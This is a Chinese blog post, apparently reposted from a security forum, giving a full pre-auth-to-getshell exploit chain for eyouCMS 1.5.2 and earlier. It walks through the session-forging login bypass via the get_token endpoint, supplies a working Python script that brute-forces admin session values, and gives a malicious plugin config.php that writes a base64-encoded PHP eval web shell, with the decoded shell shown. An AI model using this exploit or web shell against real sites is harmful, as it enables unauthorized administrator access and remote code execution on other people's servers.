eyouCMS1.5.2前台getshell

eyouCMS从后台登录绕过到getshell

漏洞影响范围

<=1.5.2

后台登录判断

application/admin/controller/Base.php-_initialize()

		   $web_login_expiretime = tpCache('web.web_login_expiretime');
            empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
            $admin_login_expire = session('admin_login_expire'); //最后登录时间
            if (session('?admin_id') && (getTime() - $admin_login_expire) < $web_login_expiretime) {
                session('admin_login_expire', getTime()); // 登录有效期
                $this->check_priv();//检查管理员菜单操作权限
            }else{
                /*自动退出*/
                adminLog('访问后台');
                session_unset();
                session::clear();
                cookie('admin-treeClicked', null); // 清除并恢复栏目列表的展开方式
                /*--end*/
                if (IS_AJAX) {
                    $this->error('登录超时!');
                } else {
                    $url = request()->baseFile().'?s=Admin/login';
                    $this->redirect($url);
                }
            }

这里的$web_login_expiretime变量的值为session的有效时间,单位为秒,这里默认设置的为3600

通过if判断session admin_id是否存在,用getTime()方法获取当前的时间戳然后减去最后登录时间的时间戳,如果小于登陆有效时间的化就可以继续使用该session进行登录,验证登录之后获取现在的时间戳对session admin_login_expire的值进行更新,然后调用$this->check_priv()方法来检查管理员菜单操作权限。

这里我们设置的session值是为请求时间戳的md5值,如果要满足 (getTime() - $admin_login_expire) < $web_login_expiretime)这个条件的话,需要md5值前面是连着一串得数字,这样可以将计算得效果为负数,自然也就满足条件了

/application/admin/controller/Base.php-check_priv()

    public function check_priv()
    {
        $ctl = CONTROLLER_NAME;
        $act = ACTION_NAME;
        $ctl_act = $ctl.'@'.$act;
        $ctl_all = $ctl.'@*';
        //无需验证的操作
        $uneed_check_action = config('uneed_check_action');
        if (0 >= intval(session('admin_info.role_id'))) {
            //超级管理员无需验证
            return true;
        } else {
            $bool = false;

            /*检测是否有该权限*/
            if (is_check_access($ctl_act)) {
                $bool = true;
            }
            /*--end*/

            /*在列表中的操作不需要验证权限*/
            if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
                $bool = true;
            }
            /*--end*/

            //检查是否拥有此操作权限
            if (!$bool) {
                $this->error('您没有操作权限,请联系超级管理员分配权限');
            }
        }
    }

可以看到是如果session admin_info.role_id的值如果小于等于0就等于拥有了超级管理员的权限,就相当于绕过了登录直接拿到了后台管理员的权限

需要session总结

admin_login_expire:需要一段以数字开头的连续一定长度的md5值,但是服务器接收的是HTTP的REQUEST_TIME_FLOAT头,精确到小数点后3或者4位,使用脚本时无法与其匹配,又因是md5加密,所以加密之后的值差别很大,但是这里是可以通过爆破来一直尝试,只要一次成功那么就会设置session admin_login_expire,所以只要开着脚本放一会儿就可以生成这个session,如果再次生成则会覆盖,只需判断是否可以凭借该session登录后台即可

admin_id:判断是否存在,随意创建一个即可

admin_info.role_id:以0开头的md5值或者以字母开头的md5值

因为生成的admin_id和真正的admin_id是不一样的,所以进行增删改的操作并且涉及到admin_id的值时会报错

前台session设置

/core/library/think/library/Controller.php-__construct(Request $request = null)

        if (!defined('IS_AJAX')) {
            $this->request->isAjax() ? define('IS_AJAX',true) : define('IS_AJAX',false);  // 
        }

/core/library/think/library/Request.php-isAjax($ajax = false)

     /**
     * 当前是否Ajax请求
     * @access public
     * @param bool $ajax true 获取原始ajax请求
     * @return bool
     */
    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
        $result = ('xmlhttprequest' == $value) ? true : false;
        if (true === $ajax) {
            return $result;
        } else {
            $result           = $this->param(Config::get('var_ajax')) ? true : $result;
            $this->mergeParam = false;
            return $result;
        }
    }
...
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }
...
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多维数组进行判断
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 强制类型转换
            $this->typeCast($data, $type);
        }
        return $data;
    }

首先调用get_token()方法需要常量IS_AJAX的值为True,于是先要调用Request类的isAjax()方法,再调用本类的server()方法,再传入到本类的input()方法,其实就是将$_SERVER数组变量中的HTTP_X_REQUESTED_WITH参数的值取出,通过

$result = ('xmlhttprequest' == $value) ? true : false;

来返回IS_AJAX的值,只有为True时才能够请求api中的Ajax.php中的方法

/application/api/controller/Ajax.php-get_token()

    public function get_token($name = '__token__')
    {
        if (IS_AJAX) {
            echo $this->request->token($name);
            exit;
        } else {
            abort(404);
        }
    }

get_token是前台可以随意调用的,可以通过传递变量$name,并且会对$this->request->token($name)返回的值进行打印。继续跟进token函数

/core/library/think/library/Request.php-token()

    public function token($name = '__token__', $type = 'md5')
    {
        $type  = is_callable($type) ? $type : 'md5';
        $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
        if ($this->isAjax()) {
            header($name . ': ' . $token);
        }
        Session::set($name, $token);
        return $token;
    }

将get_token()方法的$name参数传递进来,并且默认的加密方式为md5,这里将请求开始的时间进行md5进行加密,将session的值名字和md5请求时间戳通过http头返回,然后使用Session::set($name, $token)方法来设置session

/core/library/think/Session.php-set()

    public static function set($name, $value = '', $prefix = null)
    {
        empty(self::$init) && self::boot();

        $prefix = !is_null($prefix) ? $prefix : self::$prefix;
        if (strpos($name, '.')) {
            // 二维数组赋值
            list($name1, $name2) = explode('.', $name);
            if ($prefix) {
                $_SESSION[$prefix][$name1][$name2] = $value;
            } else {
                $_SESSION[$name1][$name2] = $value;
            }
        } elseif ($prefix) {
            $_SESSION[$prefix][$name] = $value;
        } else {
            $_SESSION[$name] = $value;
        }
    }

漏洞利用脚本编写

from time import time
import requests


class eyoucms_login:
    def __init__(self, url):
        self.url = url
        self.req = requests.session()
        self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name='
        self.header = {
            'x-requested-with': 'XMLHttpRequest'
        }

    def get_admin_id(self):
        res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header)
        print('admin_id:' + res.text)
        print(res.headers['Set-Cookie'])

    def get_admin_login_expire(self):
        while True:
            res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header)
            result = self.login_test()
            if result == 'ok':
                print('login success')
                break


    def get_admin_info_role_id(self):
        while True:
            res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header)
            if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']:
                pass
            else:
                print('admin_info.role_id:', res.text)
                break

    def login_test(self):
        res = self.req.get(self.url + 'login.php')
        if '管理系统' in res.text:
            return 'ok'

    def run(self):
        self.get_admin_id()
        self.get_admin_info_role_id()
        self.get_admin_login_expire()


if __name__ == '__main__':
    url = 'http://www.testeyou1.com/'
    test = eyoucms_login(url)
    test.run()

后台远程插件下载getshell

/application/admin/controller/Weapp.php-downloadInstall()

    public function downloadInstall($url)
    {
        $parse_data = parse_url($url);
        if (empty($parse_data['host']) || GetUrlToDomain($parse_data['host']) != 'eyoucms.com') {
            $this->error('该云插件下载链接出错!', url('Weapp/plugin'));
        }
        
        /*远程下载文件start*/
        $savePath   = UPLOAD_PATH . 'tmp' . DS;//保存路径
        $folderName = session('admin_id') . '-' . dd2char(date("ymdHis") . mt_rand(100, 999));
        $fileName   = $folderName . ".zip";
        //保存至框架应用根目录/public/upload/tmp/ 目录下  返回文件详细路径+名称
        $result = $this->downloadFile($url, $savePath, $fileName);
        if (!isset($result['code']) || $result['code'] != 1) {
            $this->error($result['msg']);
        }
        $filepath = $result['filepath'];
        /*远程下载文件end*/

        if (file_exists($filepath)) {
            /*解压文件*/
            $zip = new \ZipArchive();//新建一个ZipArchive的对象
            if ($zip->open($filepath) != true) {
                $this->error("插件压缩包读取失败!", url('Weapp/plugin'));
            }
            $zip->extractTo($savePath . $folderName . DS);//假设解压缩到在当前路径下插件名称文件夹内
            $zip->close();//关闭处理的zip文件
            /*--end*/
            /*获取插件目录名称*/
            $dirList   = glob($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . '*');
            $weappPath = !empty($dirList) ? $dirList[0] : '';
            if (empty($weappPath)) {
                @unlink(realpath($savePath . $fileName));
                delFile($savePath . $folderName, true);
                $this->error('插件压缩包缺少目录文件', url('Weapp/plugin'));
            }

            $weappPath    = str_replace("\\", DS, $weappPath);
            $weappPathArr = explode(DS, $weappPath);
            $weappName    = $weappPathArr[count($weappPathArr) - 1];
            /*--end*/

            /*修复非法插件上传,导致任意文件上传的漏洞*/
            $configfile = $savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName . '/config.php';
            if (!file_exists($configfile)) {
                $msg = '插件不符合标准!';
                $filelist_tmp = getDirFile($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName);
                if (empty($filelist_tmp)) {
                    $msg = '压缩包解压失败,请联系空间商';
                }
                @unlink(realpath($savePath . $fileName));
                delFile($savePath . $folderName, true);
                $this->error($msg, url('Weapp/plugin'));
            } else {
                $configdata = include($configfile);
                if (empty($configdata) || !is_array($configdata)) {
                    @unlink(realpath($savePath . $fileName));
                    delFile($savePath . $folderName, true);
                    $this->error('插件不符合标准!', url('Weapp/plugin'));
                } else {
                    $sampleConfig = include(DATA_NAME . DS . 'weapp' . DS . 'Sample' . DS . 'weapp' . DS . 'Sample' . DS . 'config.php');
                    if (is_array($sampleConfig)) {
                        foreach ($configdata as $key => $val) {
                            if ('permission' != $key && !isset($sampleConfig[$key])) {
                                @unlink(realpath($savePath . $fileName));
                                delFile($savePath . $folderName, true);
                                $this->error('插件不符合标准!', url('Weapp/index'));
                            }
                        }
                    }
                }
            }
      ...

首先通过parse_url()方法将传入的url的host进行分析,这里的host需要为eyou.com,然后重新修改文件的名字并且加上.zip的后缀,所以这里传入的url中文件的格式是不限制的,可以将后缀为jpg的压缩文件进行处理,然后将文件下载到./uploads/tmp\下,然后对该压缩包进行解压,先将该文件解压到当前目录下,通过配置中的常量WEAPP_DIR_NAME来加载该目录下的目录列表,并获取目录的名称,对该目录下的config.php文件进行包含,这里由于文件包含的内容我们是可控的,所以可以通过文件包含来写入webshell

https://www.eyoucms.com/ask/?ct=question&ac=ask_complete

可以在eyoucms的官方提问然后将压缩文件的后缀改成jpg进行上传

config.php

<?php
file_put_contents("./uploads/allimg/0427bd01edea972d400a106514ab7f68.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFsyMzNdKTs/Pg=="));
?>

会在./uploads/allimg/0427bd01edea972d400a106514ab7f68.php路径下生成一个webshell,对其进行访问即可、

0427bd01edea972d400a106514ab7f68.php

<?php phpinfo();@eval($_POST[233]);?>


参考

https://forum.butian.net/share/104

posted @ 2021-10-31 15:42  1jzz  阅读(1998)  评论(0编辑  收藏  举报